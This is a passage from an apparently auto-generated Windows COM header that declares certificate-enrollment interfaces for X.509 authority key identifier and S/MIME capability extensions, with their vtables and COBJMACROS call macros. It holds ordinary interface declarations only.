-> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_InitializeEncode(This,Encoding,strKeyIdentifier)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strKeyIdentifier) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_SubjectKeyIdentifier(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SubjectKeyIdentifier(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__\n#define __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionAuthorityKeyIdentifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionAuthorityKeyIdentifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab318-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionAuthorityKeyIdentifier : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthorityKeyIdentifier( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionAuthorityKeyIdentifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthorityKeyIdentifier )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionAuthorityKeyIdentifierVtbl;\n\n    interface IX509ExtensionAuthorityKeyIdentifier\n    {\n        CONST_VTBL struct IX509ExtensionAuthorityKeyIdentifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionAuthorityKeyIdentifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_InitializeEncode(This,Encoding,strKeyIdentifier)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strKeyIdentifier) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_AuthorityKeyIdentifier(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AuthorityKeyIdentifier(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISmimeCapability_INTERFACE_DEFINED__\n#define __ISmimeCapability_INTERFACE_DEFINED__\n\n/* interface ISmimeCapability */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISmimeCapability;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab319-217d-11da-b2a4-000e7bbb2b09\")\n    ISmimeCapability : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ LONG BitCount) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BitCount( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISmimeCapabilityVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISmimeCapability * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISmimeCapability * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISmimeCapability * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISmimeCapability * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ LONG BitCount);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ISmimeCapability * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BitCount )( \n            __RPC__in ISmimeCapability * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } ISmimeCapabilityVtbl;\n\n    interface ISmimeCapability\n    {\n        CONST_VTBL struct ISmimeCapabilityVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISmimeCapability_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISmimeCapability_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISmimeCapability_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISmimeCapability_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISmimeCapability_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISmimeCapability_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISmimeCapability_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISmimeCapability_Initialize(This,pObjectId,BitCount)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,BitCount) ) \n\n#define ISmimeCapability_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ISmimeCapability_get_BitCount(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BitCount(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISmimeCapability_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISmimeCapabilities_INTERFACE_DEFINED__\n#define __ISmimeCapabilities_INTERFACE_DEFINED__\n\n/* interface ISmimeCapabilities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISmimeCapabilities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31a-217d-11da-b2a4-000e7bbb2b09\")\n    ISmimeCapabilities : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapability **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ISmimeCapability *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddFromCsp( \n            /* [in] */ __RPC__in_opt ICspInformation *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddAvailableSmimeCapabilities( \n            /* [in] */ VARIANT_BOOL MachineContext) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISmimeCapabilitiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISmimeCapabilities * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapability **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ISmimeCapability *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddFromCsp )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddAvailableSmimeCapabilities )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ VARIANT_BOOL MachineContext);\n        \n        END_INTERFACE\n    } ISmimeCapabilitiesVtbl;\n\n    interface ISmimeCapabilities\n    {\n        CONST_VTBL struct ISmimeCapabilitiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISmimeCapabilities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISmimeCapabilities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISmimeCapabilities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISmimeCapabilities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISmimeCapabilities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISmimeCapabilities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISmimeCapabilities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISmimeCapabilities_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ISmimeCapabilities_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ISmimeCapabilities_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ISmimeCapabilities_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ISmimeCapabilities_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ISmimeCapabilities_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ISmimeCapabilities_AddFromCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddFromCsp(This,pValue) ) \n\n#define ISmimeCapabilities_AddAvailableSmimeCapabilities(This,MachineContext)\t\\\n    ( (This)->lpVtbl -> AddAvailableSmimeCapabilities(This,MachineContext) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISmimeCapabilities_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__\n#define __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionSmimeCapabilities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionSmimeCapabilities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionSmimeCapabilities : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ISmimeCapabilities *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SmimeCapabilities( \n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapabilities **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionSmimeCapabilitiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionSmimeCapabilities * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ISmimeCapabilities *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapabilities **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionSmimeCapabilitiesVtbl;\n\n    interface IX509ExtensionSmimeCapabilities\n    {\n        CONST_VTBL struct IX509ExtensionSmimeCapabilitiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionSmimeCapabilities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionSmimeCapabilities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionSmimeCapabilities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionSmimeCapabilities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionSmimeCapabilities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionSmimeCapabilities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionSmimeCapabilities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionSmimeCapabilities_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> 